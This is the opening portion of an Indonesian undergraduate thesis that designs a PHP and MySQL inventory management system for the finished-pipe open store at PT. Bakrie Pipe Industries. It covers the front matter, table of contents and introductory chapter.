View
239
Download
9
Category
Preview:
Citation preview
i
RANCANG BANGUN SISTEM INVENTORY MANAGEMENT
OPEN STORE
PADA PT. BAKRIE PIPE INDUSTRIES
SKRIPSI
Disusun Oleh:
NASRULLAH
NIM: 106093003117
JURUSAN SISTEM INFORMASI
FAKULTAS SAINS DAN TEKNOLOGI
UNIVERSITAS ISLAM NEGERI SYARIF HIDAYATULLAH
JAKARTA
2014 M. / 1435 H.
RANCANG BANGUN SISTEM INVENTORY MANAGEMENT OPEN
STORE PADA PT. BAKRIE PIPE INDUSTRIES
Skripsi
Sebagai Salah Satu Syarat untuk Memperoleh Gelar Sarjana Sistem Informasi
Fakultas Sains dan Teknologi
Universitas Islam Negeri Syarif Hidayatullah Jakarta
Oleh:
NASRULLAH
106093003117
JURUSAN SISTEM INFORMASI
FAKULTAS SAINS DAN TEKNOLOGI
UNIVERSITAS ISLAM NEGERI
SYARIF HIDAYATULLAH
JAKARTA
2014 M / 1435 H
iii
iii
PENGESAHAN UJIAN
Skripsi yang berjudul “RANCANG BANGUN SISTEM INVENTORY
MANAGEMENT OPEN STORE PADA PT. BAKRIE PIPE INDUSTRIES”
yang dibuat oleh Nasrullah (106093003117) telah diuji dan dinyatakan lulus dalam
siding Munaqosah Fakultas Sains dan Teknologi, Universita Islam Negeri Syarif
Hidayatullah Jakarta pada hari rabu, 10 Juli 2013. Skripsi ini telah diterima sebagai
salah satu syarat memperoleh gelar Sarjana Satu (S1) Program Studi Sistem
Informasi.
Menyetujui,
Mengetahui,
Dosen Penguji I
Zulfiandri, MMSI
NIP 19700130 200501 1 003
Dosen Penguji II
Qurrotul Aini, MT
NIP 19730325 200901 2 001
Dosen Pembimbing I
DR. Syopiansyah Jaya Putra, M.Sis
NIP 19680117 200112 1 001
Dosen Pembimbing II
Zainuddin Bey Fananie, M.Sc
NIP .-
Dekan Fakultas Sains dan Teknologi
DR. Agus Salim, M.Si
NIP 19720816 199903 1 003
Ketua Jurusan Sistem Informasi
Zulfiandri, MMSI
NIP 19700130 200501 1 003
v
v
PERNYATAAN
DENGAN INI SAYA MENYATAKAN BAHWA SKRIPSI INI BENAR – BENAR
HASIL KARYA SENDIRI YANG BELUM PERNAH DIAJUKAN SEBAGAI
SKRIPSI ATAU KARYA ILMIAH PADA PERGURUAN TINGGI ATAU
LEMBAGA MANAPUN.
Jakarta, Juni 2013
Nasrullah
106093003117
ABSTRAK
Nasrullah (106093003117), Rancang Bangun Sistem Inventory Management Open
Store Pada PT. Bakrie Pipe Industries. Dibawah bimbingan Syopiansyah Jaya Putra
dan Zainuddin Bey Fananie.
PT. Bakrie Pipe Industries Merupakan sebuah perusahaan yang bergerak di
bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh
PT. Bakrie Pipe Industries, pencatatan data pipa pun begitu kompleks. Belum lagi
mengenai data penerimaan dan pengiriman produk jadi (Finishing) di dalam
inventory open store. Saat ini sistem yang berjalan masih menggunakan program atau
software yang belum terintegrasi dengan software lainnya, seperti menggunakan
microsoft office dengan database menggunakan Microsoft excel sebagai penyimpan
data dan kelemahannya seperti memerlukan waktu yang cukup lama untuk
pengiriman surat perintah kerja, penyusunan laporan yang masih manual
menyebabkan kinerja perusahaan menjadi terhambat dan belum mampu menunjang
segala kebutuhan yang diinginkan perusahaan. Dari permasalahan tersebut penulis
merancang dan membuat sebuah sistem inventory management open store sebagai
alat untuk memudahkan karyawan dalam hal pencatatan data pipa masuk atau keluar,
dan memudahkan manager untuk melihat laporan yang ada dalam open store yang
berhubungan tentang pipa masuk ataupun keluar. Metode pengembangan sistem
dalam penelitian ini menggunakan Rapid Application Development (RAD) dari tahap
scope definiton hingga tahap contruction & esting. Alat perancang yang digunakan
adalah Unified Modelling language. Perangkat lunak yang digunakan dalam
pembuatan sistem menggunakan PHP sebagai bahasa pemprograman, dan MySQL
sebagai database. Penelitian ini menghasilkan Sistem Inventory Management Open
Store PT. Bakrie Pipe Industries untuk mempermudah karyawan dalam pengolahan
data pipa didalam Open Store, baik berupa data pipa yang masuk ataupun keluar dari
Open Store serta data Pembeli.
Kata Kunci : Sistem Inventory Management, open store, RAD (Rapid Application
Development), PHP, MySql, Bakrie Pipe Industries.
V Bab + xxv Halaman + 171 Halaman + 5 Simbol + 36 Tabel +54 Gambar + Daftar
Pustaka + Lampiran
Pustaka Acuan : (24, Tahun 1981 – 2010)
vii
vii
KATA PENGANTAR
Puji dan syukur penulis panjatkan kehadirat Allah SWT, karena hanya dengan
Ridha dan Ijin- Nya penulis dapat menyelesaikan skripsi ini yang berjudul
“Rancangan Bangun Sistem Inventory Management Open Store pada PT. Bakrie Pipe
Industries”
Dalam penyusunan skripsi ini, penulis mendapatkan bimbingan dan bantuan
baik segi moral dan material dari berbagai pihak. Oleh karena itu, pada kesempatan
kali ini penulis mengucapkan terima kasih kepada:
1. Bapak DR. Agus Salim, M.Si, selaku Dekan Fakultas Sains dan
Teknologi, Universitas Negeri Syarif Hidayatullah Jakarta.
2. Bapak Zulfiandri MMSI, selaku Ketua Program Studi Sistem Informasi
Fakultas Sains dan Teknologi, Universitas Islam Negeri Syarif
Hidayatullah Jakarta.
3. Bapak DR. Syopiansyah Jaya Putra, M. Sis selaku Dosen Pembimbing 1
yang telah banyak sekali membantu dan membimbing penulis dalam
menyelesaikan skripsi ini.
4. Bapak Zainuddin Bey Fananie M. Sc selaku Dosen Pembimbing II yang
telah banyak sekali membantu dan membimbing penulis dalam
menyelesaikan skripsi.
5. Bapak Riyadi Teguh M. Selaku Supervisor pada bagian Open Store
memberikan arahan dan informasi yang penulis butuhkan dalam
pembuatan sistem ini.
6. Bpk. Rizki dan Bpk. Maulana selaku HRD PT. Bakrie Pipe Industries
yang sudah membantu penulis dalam mengumpulkan data – data tentang
perusahaan.
7. Almarhumah Enyak dan juga babeh yang kpingin banget lihat saya
wisuda , kakak dan keponakan – keponakanku tersayang yang selalu
memberikan dukungan dan doa bagi penulis dalam menyelesaikan skripsi.
8. Seseorang yang spesial (Zamiroh, SE) yang selalu mengingatkanku agar
lebih cepat dalam menyelesaikan skripsi dan sabar dalam menunggu gelar
sarjanaku.
9. Sahabat- Sahabatku, Irwan, Hadadi, Anis, Hilman terima kasih banyak
atas bantuan dan dukungannya, dan sabat- sahabat lainnya yang terlalu
bnayak penulis bila disebutkan satu persatu. Penulis mengucapkan banyak
terima kasih.
10. Teruntuk Irwan dan Hilman yang telah banyak membantu dan
memberikan masukan – masukan kepada penulis dalam mengerjakan
skripsi ini.
11. Teman – teman seperjuangan SIC serta SIK 2006. Terima kasih untuk
semua kenangan terindahnya.
12. Dan seluruh pihak yang telah membantu penulis, baik langsung maupun
tidak langsung dalam menyelesaikan skripsi ini.
Penulis sadar bahwa penyusunan skripsi ini masih jauh dari kesempurnaan,
oleh karena itu, penulis mngharapkan kritik dan saran yang bersifat membangun agar
penyusun skripsi ini menjadi lebih baik lagi.
ix
ix
Akhir kata, penulis berharap skripsi ini dapat bermanfaat bagi semua pihak
terutama kawan – kawan Sistem Informasi UIN Syarif Hidayatullah Jakarta, baik
sebagai bahan karya tulis berupa informasi, perbandingan maupun dasar untuk
penelitian materi lebih lanjut.
Jakarta, Juni 2013
NASRULLAH
NIM :106093003117
DAFTAR ISI
Halaman Judul ............................................................................................................. ii
Lembar Pengesahan Pembimbing ................................................................................ iii
Lembar Pengesahan Ujian ........................................................................................... iv
Lembar Pernyataan ..................................................................................................... v
Abstrak ........................................................................................................................ vi
KATA PENGANTAR ............................................................................................... vii
DAFTAR ISI .............................................................................................................. x
DAFTAR GAMBAR .................................................................................................. xvi
DAFTAR TABEL ..................................................................................................... xix
DAFTAR SIMBOL .................................................................................................... xxi
BAB I PENDAHULUAN ........................................................................................... 1
1.1 Latar Belakang ........................................................................................... 1
1.2 Rumusan Masalah ..................................................................................... 2
1.3 Batasan Masalah ....................................................................................... 3
1.4 Tujuan Penelitian ...................................................................................... 4
1.5 Manfaat Penelitian .................................................................................... 4
1.6 Metode Penelitian ..................................................................................... 5
1.7 Sistematika Penelitian ............................................................................... 8
BAB II LANDASAN TEORI .................................................................................. 9
2.1 Pengertian Rancang Bangun .................................................................... 9
2.2 Data........................................................................................................... 9
xi
xi
2.3 Sistem Informasi ...................................................................................... 11
2.3.1 Sistem ............................................................................................. 11
2.3.1.1 Pengertian Sistem ................................................................ 11
2.3.1.2 Karakteristik Sistem ........................................................... 11
2.3.1.3 Klasifikasi Sistem ............................................................... 14
2.3.2 Informasi ......................................................................................... 15
2.3.2.1 Pengertian Informasi .......................................................... 15
2.3.2.2 Nilai dan kualitas Informasi ............................................... 16
2.3.3 Sistem Informasi ............................................................................. 19
2.3.3.1 Pengertian Sistem Informasi................................................ 19
2.3.3.2 Komponen Sistem Informasi ............................................... 19
2.3.3.3 Jenis Sistem Informasi ......................................................... 21
2.4 Manajemen .............................................................................................. 22
2.4.1 Pengertian Manajemen .................................................................. 22
2.4.2 Bentuk Kegiatan Manajemen ......................................................... 22
2.5 Persediaan (Inventory) ............................................................................. 23
2.5.1 Pengertian Persediaan .................................................................... 23
2.5.2 Fungi Persediaan ............................................................................ 24
2.5.3 Klasifikasi Barang Persediaan ....................................................... 25
2.5.4 Anjuran Persediaan dalam Islam.................................................... 28
2.6 Manajemen Persediaan (Inventory Management) ................................... 33
2.6.1 Pengertian Manajemen Persediaan ............................................... 33
2.6.2 Prinsip Manajemen Persediaan ...................................................... 34
2.6.3 Pembagian Jenis Barang ............................................................... 36
2.6.4 Beberapa Hambatan Manajemen Persediaan ................................ 39
2.7 Database .................................................................................................. 42
2.7.1 Konsep Sistem Database .............................................................. 42
2.7.2Pengertian Sistem Database ........................................................... 43
2.7.3 Database Management System (DBMS) ...................................... 44
2.8 Website ................................................................................................... 45
2.8.1 Pengertian Website ......................................................................... 46
2.8.1.1 Web Statis ................................................................................... 46
2.8.1.2 Web Dinamis .............................................................................. 46
2.9 Jaringan Komputer .................................................................................. 47
2.9.1 Pengertian Jaringan Kompter ........................................................ 47
2.10 Metodologi Penelitian ............................................................................ 48
2.10.1 Metode Pengumpulan Data .......................................................... 48
2.10.1.1 Studi Pustaka ................................................................ 48
2.10.1.2 Studi Lapangan ............................................................. 48
2.10.1.3 Studi Literatur Sejenis .................................................. 50
2.11 Metode Pengembangan Sistem............................................................... 50
2.11.1 Rapid Application Develompment (RAD) ................................... 50
2.11.1.1 Keunggulan RAD .......................................................... 51
2.11.1.2 Alur Proses Pengembangan Sistem .............................. 52
2.11.2 UML ............................................................................................. 53
2.12 Perangkat Lunak Yang digunakan.......................................................... 62
xiii
xiii
2.12.1 Pemprograman PHP (Hypertext Preprocessor) ........................ 62
2.12.2 MySQL ....................................................................................... 65
2.12.3 Apache ........................................................................................ 66
2.12.4 Adobe Dreamweaver CS4 ......................................................... 67
2.12.5 Adobe Photoshop CS .................................................................. 67
2.12.6 Browser....................................................................................... 67
2.13 Pengujian ................................................................................................ 68
2.14 Literatur Sejenis ..................................................................................... 69
BAB III METODOLOGI PENELITIAN ................................................................ 74
3.1 Metode Pengumpulan Data ..................................................................... 74
3.1.1 Studi Pustaka .................................................................................. 74
3.1.2 Studi Lapangan .............................................................................. 74
3.1.3 Wawancara ..................................................................................... 75
3.1.4 Studi Literatur Sejenis .................................................................... 76
3.2 Metodologi Pengembangan Sistem ........................................................ 76
3.2.2 Mendefinisikan Lingkup (Scope Definition) ................................ 77
3.2.3 Analisis Sistem (Analysis) ............................................................. 77
3.2.4 Perancangan Sistem (Design) ........................................................ 78
3.2.5 Implementasi Sistem ( Construction & Testing) ........................... 79
3.2.5.1 Pemrograman .................................................................... 79
3.2.5.2 Pengujian ........................................................................... 79
3.3 Kerangka Penelitian ................................................................................ 79
BAB IV SISTEM INVENTORY MANAGEMENT OPEN STORE ...................... 81
4.1 Sekilas Tentang Perusahaan .................................................................... 81
4.1.1 Gambaran Umum Perusahaan ....................................................... 81
4.1.2 Logo Perusahaan ........................................................................... 82
4.1.3 Visi dan Misi Perusahaan .............................................................. 83
4.1.4 Struktur Organisasi ........................................................................ 84
4.1.4.1 Struktur Organisasi Lanjutan PPIC Manager ................... 85
4.2 Mendefinisikan Lingkup (Scope Definition) .......................................... 87
4.3 Analisi Sistem ( Analysis) ...................................................................... 88
4.3.1 Kelemahan Sistem yang Berjalan ................................................. 88
4.3.1.2 Analisis Sistem Usulan ..................................................... 92
4.4 Perancangan Sisem (Design) .................................................................. 97
4.4.1 Use Case Diagram ......................................................................... 97
4.4.1.1 Identifikasi Use Case ......................................................... 98
4.4.2 Use Case Scenario ......................................................................... 101
4.4.2.1 Use Case Scenario login ................................................. 102
4.4.2.2 Use Case Scenario manage user ..................................... 103
4.4.2.3 Use Case Scenario input work order .............................. 104
4.4.2.4 Use Case Scenario input data pembeli ........................... 106
4.4.2.5 Use Case Scenario input pipa masuk .............................. 107
4.4.2.6 Use Case Scenario input pipa keluar .............................. 109
4.4.2.7 Use Case Scenario input reproduksi pipa ....................... 110
4.4.2.8 Use Case Scenario laporan pipa masuk .......................... 112
4.4.2.9 Use Case Scenario laporan data pembeli ........................ 113
xv
xv
4.4.2.10 Use Case Scenario laporan reproduksi pipa ................. 114
4.4.2.11 Use Case Scenario laporan pipa keluar ........................ 116
4.4.2.12 Use Case Scenario laporan work order ........................ 117
4.4.2.13 Use Case Scenario laporan stok pipa ............................ 118
4.4.2.14 Use Case Scenario cek barang ...................................... 119
4.4.2.15 Use Case Scenario logout ............................................. 120
4.4.3 Activity Diagram ............................................................................ 121
4.4.4 Sequence Diagram.......................................................................... 135
4.4.5 Class Diagram ................................................................................ 145
4.4.6 Tabel Database .............................................................................. 146
4.4.7 Interface Design ............................................................................. 153
4.5 Implementation System ........................................................................... 162
4.6 Pengujian System ................................................................................... 163
4.6.1 Uji Coba User admin _ OS ............................................................ 163
4.6.2 Uji coba user manager .................................................................. 165
4.6.3 Uji coba user Tallyman ................................................................. 167
4.6.4 Uji coba user marketing ................................................................. 169
BAB V KESIMPULAN DAN SARAN ..................................................................... 170
5.1 Kesimpulan .............................................................................................. 170
5.2 Saran ........................................................................................................ 171
DAFTAR PUSTAKA
LAMPIRAN – LAMPIRAN
DAFTAR GAMBAR
Gambar 2.1 Pemprosesan Data .................................................................................... 10
Gambar 2.2 Strategi Rapid Application Development ................................................. 51
Gambar 2.3 Use Case Model ....................................................................................... 57
Gambar 2.4 Activity Diagram ....................................................................................... 59
Gambar 2.5 Sequence Diagram .................................................................................... 60
Gambar 2.6 Class Diagram ......................................................................................... 61
Gambar 2.7 Model 4 + 1 View ...................................................................................... 62
Gambar 3.1 Kerangka Penelitian .................................................................................. 80
Gambar 4.1 Logo Perusahaan ....................................................................................... 83
Gambar 4.2 Struktur Organisasi pada PT. Bakrie Pipe Industries ............................... 84
Gambar 4.3 Struktur Organisasi Lanjutan PPIC Manager .......................................... 85
Gambar 4.4 Rich Picture Sistem Inventory Open Store yang sedang berjalan ............ 91
Gambar 4.5 Rich Picture Sistem Inventory Open Store yang diusulkan ..................... 93
Gambar 4.6 Use Case Sistem Inventory Management Open Store ............................. 101
Gambar 4.7 Activity diagram untuk login ..................................................................... 122
Gambar 4.8 Activity diagram untuk manage user ........................................................ 123
Gambar 4.9 Activity diagram untuk input work order ................................................. 124
Gambar 4.10 Activity diagram untuk input data pembeli ........................................... 125
Gambar 4.11 Activity diagram untuk input data pipa masuk ...................................... 126
Gambar 4.12 Activity diagram untuk input data pipa keluar ....................................... 128
Gambar 4.13 Activity diagram untuk input data reproduksi pipa ............................... 129
xvii
xvii
Gambar 4.14 Activity diagram untuk laporan pipa masuk .......................................... 130
Gambar 4.15 Activity diagram untuk laporan data pembeli ........................................ 130
Gambar 4.16 Actiity diagram untuk laporan reproduksi pipa ...................................... 131
Gambar 4.17 Activity diagram untuk laporan pipa keluar ........................................... 132
Gambar 4.18 Activity diargam untuk laporan work order ........................................... 133
Gambar 4.19 Activity diagram untuk laporan stok pipa .............................................. 134
Gambar 4.20 Activity diagram untuk logout ................................................................ 135
Gambar 4.21 Sequential diagram login ....................................................................... 136
Gambar 4.22 Sequential diagram input work order .................................................... 136
Gambar 4.23 Sequential diagram input data pembeli ................................................. 137
Gambar 4.24 Sequential diagram input pipa masuk dan keluar .................................. 138
Gambar 4.25 Sequential diagram input reproduksi pipa ............................................. 139
Gambar 4.26 Sequential diagram laporan pipa masuk dan keluar ............................... 140
Gambar 4.27 Sequential diagram laporan data pembeli .............................................. 141
Gambar 4.28 Sequential diagram laporan reproduksi pipa ........................................ 142
Gambar 4.29 Sequential diagram laporan work order ................................................ 143
Gambar 4.30 Sequential diagram laporan stok ............................................................ 144
Gambar 4.31 Sequential diagram cek barang .............................................................. 145
Gambar 4.32 Class Diagram ....................................................................................... 146
Gambar 4.33 Design Interface menu login .................................................................. 153
Gambar 4.34 Design interface menu home .................................................................. 154
Gambar 4.35 Design interface menu manage user ...................................................... 155
Gambar 4.36 Design interface menu pipa masuk ......................................................... 155
Gambar 4.37 Design interface menu data pipa ............................................................. 156
Gambar 4.38 Design interface menu input data pipa keluar......................................... 157
Gambar 4.39 Design interface menu input data pembeli.............................................. 157
Gambar 4.40 Design interface menu input reproduksi pipa ........................................ 158
Gambar 4.41 Design interface menu input work order ............................................... 158
Gambar 4.42 Design interface menu input pipa masuk ................................................ 159
Gambar 4.43 Design interface menu laporan pipa keluar ........................................... 160
Gambar 4.44 Design interface menu laporan data pembeli .......................................... 160
Gambar 4.45 Design interface menu laporan stok pipa ................................................ 161
Gambar 4.46 Design interface menu laporan work order ............................................ 161
Gambar 4.47 Design interface menu cek barang ......................................................... 162
xix
xix
DAFTAR TABEL
Tabel 2.1 Tipe Diagram UML ..................................................................................... 55
Tabel 2.2 Studi Literatur Sejenis.................................................................................. 69
Tabel 4.1 Analisi Perbandingan .................................................................................. 94
Tabel 4.2 Identifikasi Actor ........................................................................................ 98
Tabel 4.3 Identifikasi Use Case .................................................................................. 98
Tabel 4.4 Use Case Scenario login .............................................................................. 102
Tabel 4.5 Use Case Scenario manage user ................................................................. 103
Tabel 4.6 Use Case Scenario input work order .......................................................... 104
Tabel 4.7 Use Case Scenario input data pembeli ........................................................ 106
Tabel 4.8 Use Case Scenario input data pipa masuk .................................................... 107
Tabel 4.9 Use Case Scenario input data pipa keluar ................................................... 109
Tabel 4.10 Use Case Scenario input reproduksi pipa .................................................. 110
Tabel 4.11 Use Case Scenario laporan pipa masuk ...................................................... 112
Tabel 4.12 Use Case Scenario laporan data pembeli ................................................... 113
Tabel 4.13 Use Case Scenario laporan reproduksi pipa ............................................... 114
Tabel 4.14 Use Case Scenario laporan pipa keluar ...................................................... 116
Tabel 4.15 Use Case Scenario laporan work order ...................................................... 117
Tabel 4.16 Use Case Scenario laporan stok pipa.......................................................... 118
Tabel 4.17 Use Case Scenario cek barang .................................................................... 119
Tabel 4.18 Use Case Scenario logout ........................................................................... 120
Tabel 4.19 Database Barang ......................................................................................... 147
Tabel 4.20 Database pembeli ...................................................................................... 147
Tabel 4.21 Database Reproduksi ................................................................................ 148
Tabel 4.22 Database Stok ............................................................................................ 148
Tabel 4.23 Database Work Order ............................................................................... 149
Tabel 4.24 Database User ........................................................................................... 150
Tabel 4.25 Database Level ......................................................................................... 150
Tabel 4.26 Database Jabatan ....................................................................................... 151
Tabel 4.27 Database Jenis ........................................................................................... 151
Tabel 4.28 Database Kota ........................................................................................... 152
Tabel 4.29 Database Provinsi ...................................................................................... 152
Tabel 4.30 Database Pegawai ...................................................................................... 153
Tabel 4.31 Uji Coba User Admin OS ........................................................................... 163
Tabel 4.32 Uji Coba User Manager ............................................................................ 165
Tabel 4.33 Uji Coba User Tallyman ............................................................................ 168
Tabel 4.34 Uji Coba User Marketing........................................................................... 168
xxi
xxi
DAFTAR SIMBOL
SIMBOL USE CASE MODEL DIAGRAMS
Simbol Arti
Actor
Use case
Association
Extends
Uses (includes)
Depends on
Inheritance
(Whitten, 2004)
Actor1
-End1
*
-End2
*
«extends»
«uses»
«uses»<<depends on>>
«inherits»
SIMBOL ACTIVITY DIAGRAM
Simbol Arti
Activity
Initiate Activities
Start of the Process
Termination of the Process
Synchronization Bar
Decision Activity
(Whitten, 2004)
xxiii
xxiii
SIMBOL CLASS DIAGRAM
Simbol Arti
Class
Ket:
1 class name
2 attributes
3 behaviors
Association
Agregation
Generalization
(Whitten, 2004)
Class 1
2
3
-End1
*
-End2
*
-End1
1
-End2
*
SIMBOL SEQUENCE DIAGRAM
Simbol Arti
Object
Lifeline
Messages
Messages (return)
Behaviors (operations)
(Whitten, 2004)
xxv
xxv
SIMBOL OBJECT CLASS ASSOCIATIONS AND MULTIPLICITY
Simbol Arti
Pasti satu
Nol atau satu
Nol atau lebih
Satu atau lebih
Specific range
(Whitten, 2004)
Class1 Class2
1
Class3 Class4
Class1 Class2
0..1
Class1 Class2
0..*
Class3 Class4
*
Class1 Class2
1..*
Class1 Class2
7..9
1
BAB I
PENDAHULUAN
1.1 Latar Belakang Masalah
PT. Bakire Pipe Industries merupakan sebuah perusahaan yang bergerak di
bidang manufacturing pipa. Pipa yang diproduksi merupakan pipa yang sekarang
sering kita jumpai, baik itu sebagai tiaang listrik, tiang telepon, konstruksi bangunan
dan berbagai keperluan lainnya, pipa yang paling banyak di minati adalah pipa jenis
API 5L dan ASTM sebagai alat untuk menyelesaikan suatu proyek seperti
pertambangan minyak dan pembuatan suatu gedung perusahaan, sedangkan pipa
yang paling diminati untuk distributor adalah pipa jenis BS dan SNI, pipa jenis ini
berguna untuk kebutuhan pribadi dan rumah tangga seperti pipa untuk keran air,
listrik dan lain sebagainya yang akan dijual kepada distributor di pasar. Pipa yang
diproduksi mencapai 310.000 ton per tahun. Proses pembuatan pipa tersebut dimulai
dari penerimaan bahan dasar oleh bagian gudang (procurement), lalu diolah menjadi
produk setengah jadi, kemudian diolah menjadi produk jadi (finishing), setelah itu
dibawa ke inventory open store untuk disimpan dan dipisahkan antara pipa yang
sudah dipesan dan pipa yang dijadikan sebagai stok untuk dijual ke pembeli. Setelah
semua proses selesai pipa siap untuk dipasarkan.
Open store merupakan suatu tempat yang digunakan untuk menyimpan pipa
jadi (finishing/ good pipe) yang telah diproduksi dan diperiksa oleh QAE (Quality
Assurance Environment) dengan mengecek kualitasnya berdasarkan surat LPPJ
(Laporan pipa produk jadi) yang ada. Karena begitu banyaknya jumlah dan jenis pipa
yang diproduksi oleh PT. Bakire Pipe Industries, pencatatan data pipa dan jenisnya
pun begitu kompleks. Belum lagi mengenai data penerimaan dan pengiriman produk
jadi (finishing) di dalam inventory open store.
Saat ini sistem yang berjalan masih menggunakan program atau software
yang belum terintegrasi dengan software lainnya, seperti menggunakan microsoft
office dengan database menggunakan Microsoft excel sebagai penyimpan data dan
kelemahannya seperti memerlukan waktu yang cukup lama sekitar 2 jam bahkan bisa
lebih jika ada permintaan pesanan (work order) dari pelanggan yang cukup banyak,
untuk pengiriman surat perintah kerja, penyusunan laporan yang masih manual
menyebabkan kinerja perusahaan menjadi terhambat dan belum mampu menunjang
segala kebutuhan yang diinginkan perusahaan.
Maka berdasarkan uraian sebelumnya, sangat menarik untuk melakukan
penelitian terhadap pengaturan sistem inventory barang pada perusahaan tersebut,
sehingga informasi yang dihasilkan cepat, tepat dan akurat. Oleh karena itu peneliti
mengambil tema “Rancang Bangun Sistem Inventory Management Open Store pada
PT. Bakire Pipe Industries”. Dengan metodologi Rapid Application Development
(RAD) dan tools yang digunakan adalah Unified Modelling Languange (UML),
Macromedia Dreamweaver dan database MySQL. Dengan demikian penulis
bermaksud membuat aplikasi ini agar dapat mempermudah pihak perusahaan.
1.2 Rumusah Masalah
Berdasarkan pengamatan penulis, identifikasi masalah yang terjadi saat ini
adalah:
3
1. Aplikasi yang ada sekarang tidak terintegrasi antar yang satu dengan yang
lainnya, sehingga membutuhkan waktu lama sekitar 2 jam bahkan bisa lebih
disaat banyaknya pesanan yang diminta oleh pelanggan untuk pengiriman
surat perintah kerja untuk memasukkan pipa tersebut ke dalam open store.
2. Penyusunan laporan yang masih manual menyebabkan kinerja perusahaan
menjadi terlambat, khususnya dalam hal penyimpanan pipa dan melihat data-
data pipa masuk ataupun keluar dari inventory open store.
Berdasarkan identifikasi masalah, maka perumusan masalah sebagai berikut:
Bagaimana membangun aplikasi sistem inventory open store untuk
memudahkan karyawan inventory open store dalam mengolah data produk jadi yang
dimiliki oleh perusahaan, dan menyajikan informasi laporan-laporan persediaan
barang jadi dengan yang dibutuhkan manager open store?
1.3 Batasan Masalah
Batasan permasalahan yang ada yaitu:
1. Ruang lingkup organisasi dari sistem yang dibuat adalah PPIC Manager
khususnya pada Inventory open store.
2. Sistem hanya mendata dan memberikan informasi tentang persediaan produk
yang masuk dari proses produksi sampai pengeluaran produk untuk dikirim
atau diproses ulang ke dalam produksi, tidak sampai pada tahap transaksi
penjualan.
3. Merancang dan mendesain sistem inventory management dengan metode
Rapid Application Development (RAD) mulai dari tahap Scope Definition
sampai dengan tahapan Construction & Testing dan Unified Modelling
Language (UML) sebagai alat pemodelan dengan menggunakan beberapa
diagram yaitu use case diagram, activity diagram, sequence diagram, class
diagram.
4. Merancang sistem inventory management open store dengan menggunakan
bahasa pemrograman PHP yang dikoneksikan dengan database MySQL
dengan rancangan antar muka macromedia dreamweaver.
5. Sistem yang dibuat tidak membahas tentang keamanan data.
6. Metode Persediaan yang digunakan perusahaan adalah metode safety stock.
1.4 Tujuan Penelitian
Tujuan penelitian ini adalah:
1. Membuat suatu sistem inventory management open store yang user
friendly dan mengurangi pemakaian kertas sebagai media pencatatan
barang yang masuk dan keluar pada inventory open store.
2. Membuat sistem penyimpanan data mengenai jumlah stok barang jadi
setelah produksi yang dimiliki oleh perusahaan.
3. Membuat sistem informasi yang akurat, efisien dan efektif dalam
menyediakan laporan persediaan produk perusahaan.
4. Metode Persediaan yang digunakan perusahaan adalah metode safety
stock.
5
1.5 Manfaat Penelitian
Adapun manfaat dari penelitian ini antara lain:
a. Dapat mengaplikasikan dan membandingkan teori yang didapat diperkuliahan
dengan masalah yang sebenarnya di lapangan.
b. Membantu dan mempermudah tugas karyawan dalam melakukan
pengontrolan barang jadi.
c. Mengurangi kesalahan dalam pengolahan data, pencarian data dan keakuratan
dalam pembuatan laporan pipa masuk, pipa keluar, reproduksi pipa, dan lain
sebagainya.
d. Dapat dijadikan referensi untuk bahan penelitian khususnya pada bidang
peminatan Sistem Informasi Koorporasi.
1.6 Metode Penelitian
Untuk memperoleh data yang dibutuhkan dalam proses penellitian, maka
peneliti menggunakan beberapa metode dalam pengumpulan data yaitu:
a. Metode Pengumpulan Data
Metode pengumpulan data yang digunakan dalam penelitian ini adalah
sebagai berikut:
(1) Studi Pustaka
Studi pustaka merupaka proses umum yang dilalui untuk mendapatkan
teori terlebih dahulu. Peneliti mengumpulkan dan mempelajari buku-buku
yang berhubungan dengan masalah yang diteliti.
(2) Studi Lapangan
Dalam studi lapangan ini, peneliti bermaksud untuk mendapatkan data
dengan menggunakan dua tahap, yaitu:
a) Observasi
Mengamati secara langsung kegiatan yang ada di bagian inventory
open store guna mengetahui bagaimana alur kerjadan sistem informasi
yang diterapkan.
b) Wawancara
Peneliti menanyakan beberapa pertanyaan kepada pihak-pihak yang
terkait di PT. Bakire Pipe Industries untuk mendapatkan data-data.
(3) Studi Literatur Sejenis
Studi literature sejenis merupakan proses pengumpulan data dengan
mengevaluasi penelitian yang terdahulu.
b. Metode Pengembangan Sistem
Dalam membangun sistem informasi manajemen open store metode yang
digunakan adalah metode Rapid Application Develeopment (RAD), RAD adalah
salah satu alternatif dalam melakukan pengembangan sistem. RAD adalah sebuah
strategi pengembangan sistem yang menekankan kecepatan pengembangan
melalui keterlibatan pengguna yang ekstensif dalam konstruksi, cepat, berulang
dan bertambah serangkaian prototype, atau prototipe bekerja sebuah sistem yang
pada akhirnya berkembang ke dalam sistem fina (atau sebuah versi). Dan dengan
model pendekatan UML (Unified Modelling Language). UML adalah bahasa
pemodelan yang dapat dikembangkan lebih lanjut ke dalam suatu bahasa program
dengan menggunakan code generator sehingga berpeluang menjadi dasar
7
pengembangan suatu case tools pengembangan sistem dan merupakan suatu
bahasa pemodelan untuk melakukan spesifikasi, visualisasi, konstruksi dan
dokumentasi objek dalam pengembangan sebuah perangkat lunak/ sistem. UML
bertujuan untuk melakukan permodelan terhadap pembuatan suatu sistem dengan
menggunakan konsep berorientasi objek (object oriented).
Dalam UML terdapat beberapa diagram yang dapat digunakan untuk
pembuatan desain pada sebuah aplikasi, yaitu use case diagram, activity diagram,
class diagram, sequence diagram.
1.7 Sistematika Penulisan
Demi tuntasnya pemecahan masalah secara kronologis dan sistematis, maka
penelitian ini diatur dalam sistematika yang terdiri atas lima BAB yaitu:
BAB I : PENDAHULUAN
Dalam bab ini, dijelaskan tentang latar belakang masalah,
perumusan masalah, batasan masalah, tujuan penelitian, manfaat
penelitian, metode penelitian serta sistematika penelitian.
BAB II : LANDASAN TEORI
Dalam bab ini, berisi teori-teori umum mengenai teori-teori yang
dipergunakan dalam perancangan sistem.
BAB III : METODE PENELITIAN
Dalam bab ini dipaparkan tentang metode yang peneliti gunakan
dalam pencarian data maupun metode untuk pengembangan sistem
yang dilakukan pada penelitian ini.
BAB IV : SISTEM INVENTORY MANAGEMENT OPEN STORE
Dalam bab ini berisi tentang gambaran umum perusahaan yang
meliputi sejarah singkat, visi dan misi, struktur organisasi PT.
Bakire Pipe Industries, perancangan sistem, perancangan menu
tampilan menggunakan Macromedia Dreamweaver dengan bahasa
pemrograman PHP dan menggunakan MySQL sebagai database-nya
BAB V : KESIMPULAN DAN SARAN
Dalam bab ini terdiri atas kesimpulan yang dapat diambil dari
penelitian tersebut dan juga kritik dan saran yang bersifat
membangun sebagai langkah perbaikan dimasa datang.
9
